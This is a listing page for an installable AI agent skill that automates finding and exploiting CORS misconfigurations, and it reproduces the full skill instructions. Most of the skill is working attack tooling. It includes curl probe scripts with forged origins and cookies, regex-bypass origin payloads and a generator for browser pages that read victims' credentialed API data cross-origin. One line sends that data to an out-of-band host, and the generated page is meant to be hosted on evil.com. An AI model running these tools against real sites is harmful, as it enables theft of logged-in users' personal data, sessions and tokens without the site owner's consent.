Cors Chain Automation logo

Cors Chain Automation

CommunityPopular
uphiago
cors-chain-automation

Use when a bounded list of authorized API endpoints needs consistent CORS triage before browser validation.

Overview

Publisheruphiago
Repositoryrecon-skills
Skill namecors-chain-automation
Stars
1.3K
Forks
213
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by uphiago on GitHub. Read the source before you install it.

Installation

Install the Cors Chain Automation AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/uphiago/recon-skills.git /tmp/recon-skills
mkdir -p .claude/skills
cp -r /tmp/recon-skills/redteam/cors-chain-automation .claude/skills/cors-chain-automation
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Cors Chain Automation in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Cors Chain Automation on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Cors Chain Automation is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Multi-Endpoint CORS Triage

When to Use

Use when you have a list of API endpoints or target domains and need to systematically find credential-exploitable CORS misconfigurations at scale. Distinguishes the 3 exploitable patterns (reflect-any-origin + credentials, null-origin trust, subdomain-regex bypass) from false positives (ACAO: * alone, ACAC without reflected origin, same-origin-only). Generates ready-to-use browser PoC HTML files for confirmed findings.

CORS Variations

#VariationInitial signalRequired follow-up
V1Origin reflection with credentialsReflected origin and ACAC: trueCredentialed browser reads protected data
V2Null-origin trustACAO: null and ACAC: trueSandboxed browser proof
V3Wildcard without credentialsACAO: *Determine whether the data is already public
V4Credentialed preflightOPTIONS accepts origin and methodActual browser request succeeds
V5Protected-route CORSCORS appears on a 401 or 403Approved session returns protected data
V6Broad origin reflectionSeveral unrelated origins are reflectedControlled-origin browser proof
V7Namespace-specific CORSOnly one API or plugin namespace reflectsValidate that namespace's data or action
V8Environment-specific CORSPolicies differ across environmentsDemonstrate impact within scope

Critical Implementation Lesson — Test ALL Endpoints, Not Just /users

Do not infer policy for an entire application from one route. Test the bounded set of endpoints supported by the application map:

bash
# WRONG — tests only /users:
curl --max-time 30 --connect-timeout 10 -sk -I "https://$TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com" | grep -i "access-control"

# CORRECT — test ALL endpoints:
for ep in /wp-json/wp/v2/users /wp-json/wp/v2/posts /wp-json/wp/v2/pages \
  /wp-json/wp/v2/media /wp-json/wp/v2/comments /wp-json/wp/v2/statuses \
  /wp-json/wp/v2/tags /wp-json/wp/v2/categories /wp-json/wp/v2/settings \
  /wp-json/wc/v3/products /wp-json/gf/v2/forms /wp-json/wp-site-health/v1; do
  cors=$(curl --max-time 30 --connect-timeout 10 -sk -I "https://$TARGET${ep}" -H "Origin: https://evil.com" 2>/dev/null | grep -iE "access-control-allow-origin|access-control-allow-credentials")
  code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$TARGET${ep}" -H "Origin: https://evil.com" 2>/dev/null)
  echo "${ep} — HTTP ${code} | ${cors:-NO CORS}"
done

Even endpoints returning 401/403 (auth required) still emit CORS headers — and if an admin is logged in, those 401s become 200s with sensitive data readable cross-origin.

CORS on OPTIONS Preflight (V4)

Some sites only leak CORS headers on OPTIONS preflight, not on GET. Always test both:

bash
curl --max-time 30 --connect-timeout 10 -sk -X OPTIONS "https://$TARGET/wp-json/wp/v2/users" \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: GET" | grep -iE "access-control"

Null Origin Testing (V2)

Sandboxed iframes send Origin: null. Some sites whitelist it. Test explicitly:

bash
curl --max-time 30 --connect-timeout 10 -sk -I "https://$TARGET/wp-json/wp/v2/users" -H "Origin: null" | grep -iE "access-control"
bash
# Quick triage: probe 3 CORS patterns on a target
curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET/api/me" \
  -H "Origin: https://evil.com" \
  -H "Cookie: $COOKIE" | grep -i "access-control"

curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET/api/me" \
  -H "Origin: null" \
  -H "Cookie: $COOKIE" | grep -i "access-control"

# Multiple origins test
for origin in "https://evil.com" "https://eviltarget.com" "https://x.target.com.evil.com"; do
  echo "=== $origin ==="
  curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET/api/me" -H "Origin: $origin" -H "Cookie: $COOKIE" | grep -i "access-control"
done

Step-by-Step

Phase 1 — Endpoint Discovery

bash
#!/bin/bash
# cors-endpoint-discovery.sh - Find CORS-emitting endpoints
TARGET="$1"
ENDPOINTS=(
  "/api/me" "/api/user" "/api/profile" "/api/session" "/api/tokens"
  "/api/csrf" "/api/account" "/api/settings" "/api/config"
  "/api/v1/me" "/api/v1/user" "/api/v1/profile"
  "/wp-json/wp/v2/users" "/wp-json/wp/v2/posts"
  "/graphql" "/v1/graphql"
  "/.well-known/openid-configuration"
)

for endpoint in "${ENDPOINTS[@]}"; do
  result=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET$endpoint" \
    -H "Origin: https://evil.com" -H "Cookie: $COOKIE" 2>/dev/null | grep -i "access-control")
  [ -n "$result" ] && echo "=== $endpoint ===" && echo "$result"
done

Phase 2 — Automated CORS Probe (3 patterns)

bash
#!/bin/bash
# cors-probe.sh - Test 3 exploitable CORS patterns on each endpoint
TARGET="$1"
COOKIE="${2:-}"
PATTERNS=(
  "https://evil.com"
  "https://eviltarget.com"  
  "https://x.target.com.evil.com"
  "null"
)
RESULTS_FILE="/tmp/cors_results_${TARGET//\//_}.txt"

echo "CORS Probe Results for $TARGET" > "$RESULTS_FILE"
echo "Cookie: ${COOKIE:+present}" >> "$RESULTS_FILE"

for origin in "${PATTERNS[@]}"; do
  echo -e "\n--- Origin: $origin ---" >> "$RESULTS_FILE"
  
  # Test multiple endpoints
  for ep in /api/me /api/user /api/profile /api/session /api/tokens /api/csrf; do
    response=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET$ep" \
      -H "Origin: $origin" ${COOKIE:+-H "Cookie: $COOKIE"} 2>/dev/null)
    
    acao=$(echo "$response" | grep -i "access-control-allow-origin" | tr -d '\r')
    acac=$(echo "$response" | grep -i "access-control-allow-credentials" | tr -d '\r')
    
    [ -n "$acao" ] && echo "  $ep$acao | ${acac:-no ACAC}" >> "$RESULTS_FILE"
  done
done

echo "Results written to $RESULTS_FILE"

Phase 3 — Subdomain Regex Bypass Classification

bash
#!/bin/bash
# cors-regex-classifier.sh - Identify the EXACT regex flaw
# Usage: ./cors-regex-classifier.sh target.com

TARGET="$1"
ENDPOINT="/api/me"

# Test each bypass class
declare -A TESTS
TESTS["Standard-subdomain"]="https://evil.$TARGET"
TESTS["Missing-dot-separator"]="https://evil${TARGET}"  
TESTS["Missing-end-anchor"]="https://x.$TARGET.evil.com"
TESTS["Prefix-only"]="https://$TARGET.evil.com"
TESTS["Backtick-bypass"]="https://$TARGET%60.evil.com"
TESTS["Null-origin"]="null"

echo "=== CORS Regex Classification for $TARGET ==="
for test_name in "${!TESTS[@]}"; do
  origin="${TESTS[$test_name]}"
  result=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET$ENDPOINT" \
    -H "Origin: $origin" -H "Cookie: $COOKIE" 2>/dev/null | grep -i "access-control-allow-origin")
  echo "[$test_name] Origin: $origin${result:-NO MATCH}"
done

Phase 4 — Browser PoC Generation

bash
#!/bin/bash
# cors-poc-generator.sh - Generate browser PoC HTML for confirmed findings
# Usage: ./cors-poc-generator.sh target.com /api/me "eyJhbGci..."

TARGET="$1"
ENDPOINT="$2"
SESSION_HINT="${3:-}"
DATE=$(date +%Y%m%d)
POC_FILE="poc-cors-${TARGET}-${DATE}.html"

cat > "$POC_FILE" << POCEOF
<!doctype html>
<html>
<head><title>CORS PoC — ${TARGET}${ENDPOINT}</title></head>
<body>
<h2>CORS Credential Read PoC</h2>
<p>Target: <code>https://${TARGET}${ENDPOINT}</code></p>
<p>Date: ${DATE}</p>
${SESSION_HINT:+<p>Session hint: <code>${SESSION_HINT}</code></p>}
<pre id="out">Loading...</pre>
<hr>
<h3>Results:</h3>
<script>
(async () => {
  const out = document.getElementById('out');
  const results = [];
  
  try {
    let r = await fetch('https://${TARGET}${ENDPOINT}', {credentials: 'include'});
    let d = await r.text();
    results.push('STATUS: ' + r.status);
    results.push('BODY: ' + d.substring(0, 500));
    
    // OOB exfil (uncomment for proof)
    // await fetch('https://OOB-ID.oastify.com/exfil?d=' + btoa(d));
  } catch(e) {
    results.push('BLOCKED: ' + e.message);
  }
  
  out.textContent = results.join('\\n');
  
  // Additional endpoints
  const extraEndpoints = ['/api/user', '/api/session', '/api/tokens'];
  for (const ep of extraEndpoints) {
    try {
      let r = await fetch('https://${TARGET}' + ep, {credentials: 'include'});
      let d = await r.text();
      results.push('--- ' + ep + ' ---');
      results.push('STATUS: ' + r.status);
      results.push('BODY: ' + d.substring(0, 300));
    } catch(e) {
      results.push('--- ' + ep + ' --- BLOCKED');
    }
  }
  out.textContent = results.join('\\n');
})();
</script>
</body>
</html>
POCEOF

echo "[+] PoC written to: $POC_FILE"
echo "    Host this on evil.com and visit while logged into $TARGET"

Phase 5 — Bulk Cross-Referencing with Subdomain Takeover

bash
#!/bin/bash
# cors-bulk-chainer.sh - Find targets where CORS + subdomain takeover chain
# Reads CORS results and subdomain takeover fingerprints, finds overlaps

CORS_RESULTS="$1"
SUB_RESULTS="$2"

echo "=== CORS + Subdomain Takeover Chain Candidates ==="
while read line; do
  target=$(echo "$line" | awk '{print $1}')
  cors_type=$(echo "$line" | awk '{print $2}')
  sub_status=$(grep "$target" "$SUB_RESULTS" 2>/dev/null | head -1)
  
  if [ -n "$sub_status" ]; then
    echo "[CHAIN] $target — CORS: $cors_type | Subdomain: $sub_status"
    echo "  -> If CORS trusts *.$target and a subdomain is takeoverable: Critical chain"
  fi
done < "$CORS_RESULTS"

Pitfalls

  • Testing only /users endpoint — the #1 CORS detection mistake. CORS credential reflection on WordPress affects ALL REST endpoints, not just users. Test /wp/v2/users, /wp/v2/posts, /wp/v2/pages, /wp/v2/media, and plugin-specific namespaces.
  • Confusing ACAO: alone with exploitable CORS* — Access-Control-Allow-Origin: * without Access-Control-Allow-Credentials: true is safe. Only origin-reflection + credentials is exploitable.
  • Skipping OPTIONS preflight — some sites only emit CORS headers on OPTIONS, not GET. Always test both methods.
  • Missing null-origin test — sandboxed iframes send Origin: null. Some sites whitelist it. Test explicitly.
  • Single-origin test — testing only Origin: https://evil.com misses multi-origin reflection patterns. Test at least 4 patterns: evil.com, subdomain bypass, null, and preflight.
  • Auth-required endpoints still leak — even 401/403 responses can emit CORS headers. If an admin is logged in, those become 200s with cross-origin readable data.
  • Staging-only CORS not documented — if CORS is only exploitable on staging, document this clearly. Production may have different controls.
  • Browser PoC without credentials:include — the generated PoC must use credentials: 'include' or the browser won't send cookies and the attack won't work.
  • Shell loops for >5 endpoint iterations — zsh array expansion can silently fail. Use Python for bulk CORS probing beyond 5 endpoints.

Attack Surface Signals

  • Endpoints returning Access-Control-Allow-Origin header
  • Cookie-authenticated API endpoints (PII, tokens, CSRF tokens in response body)
  • WordPress REST API endpoints (/wp-json/wp/v2/users, /wp-json/wp/v2/posts)
  • SPAs with client-side API calls (Next.js, React, Vue)

Reference Files

Common Root Causes

  1. Reflect-any-origin with credentials — server echoes Origin header and sets ACAC: true
  2. Null-origin trust — server whitelists null origin, exploitable via sandboxed iframe
  3. Subdomain regex flaws — unescaped dots, missing end-anchors, missing prefix dots
  4. Origin header completely missing from validation — all origins accepted
  5. Pre-flight (OPTIONS) gating bypass — OPTIONS allows arbitrary methods/headers

Bypass Techniques

Regex FlawPayloadWhy
Missing dot before domainhttps://eviltarget.com.*target\\.com$ matches eviltarget.com
Missing end-anchor $https://x.target.com.evil.comregex matches prefix only
Unescaped dot (. = any char)https://xtargetXcom. matches any single char
Prefix-only (no $)https://target.com.evil.commatches start of string
Null trustsandboxed iframe + data: URIOrigin: null sent automatically

Real Examples

From field recon across 58 companies:

  • 5/7 deep targets had CORS credential reflection on WP REST API (reflect-any-origin + ACAC)
  • All 5 allowed credentialed cross-origin read of user lists, post content, and media files
  • CORS findings chained to subdomain takeover → full same-origin JS execution

Verification

Run this self-test to confirm CORS probing works:

  1. Basic CORS probe — test origin reflection on a known endpoint:

    bash
    curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://httpbin.org/get" -H "Origin: https://evil.com" | grep -i "access-control"
  2. OPTIONS preflight test — confirm preflight probing syntax:

    bash
    curl --max-time 30 --connect-timeout 10 -s -X OPTIONS "https://httpbin.org/get" -H "Origin: https://evil.com" -H "Access-Control-Request-Method: GET" -D - -o /dev/null | head -5
  3. Null origin test — confirm null origin syntax:

    bash
    curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://httpbin.org/get" -H "Origin: null" -w "HTTP %{http_code}

"


4. **PoC template integrity** — verify the browser PoC template is present:
```bash
grep -q "credentials: 'include'" SKILL.md && echo "PASS: PoC template includes credentials" || echo "FAIL"
grep -q "fetch(" SKILL.md && echo "PASS: fetch() PoC pattern present" || echo "FAIL"

All 4 tests verify the core CORS probing capability.


Related Skills

  • hunt-cors — underlying CORS hunting methodology
  • hunt-subdomain — chain CORS + subdomain takeover for critical
  • hunt-xss — browser PoC generation technique
  • hunt-csrf — CORS pre-flight bypass chains to CSRF
  • hunt-dom — postMessage origin checks relate to CORS origin checks
  • hunt-wordpress — WP REST API is the most common CORS source

Frequently asked questions

What does the Cors Chain Automation AI skill do?

Use when a bounded list of authorized API endpoints needs consistent CORS triage before browser validation.

Why use Cors Chain Automation on TypingMind?

Because you install it once and use it with any model. Cors Chain Automation is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Cors Chain Automation in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/uphiago/recon-skills/tree/main/redteam/cors-chain-automation. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Cors Chain Automation?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Cors Chain Automation?

As many as you like. As long as a model supports skills, you can use Cors Chain Automation with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Cors Chain Automation AI skill free?

Yes. It is published on GitHub by uphiago under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇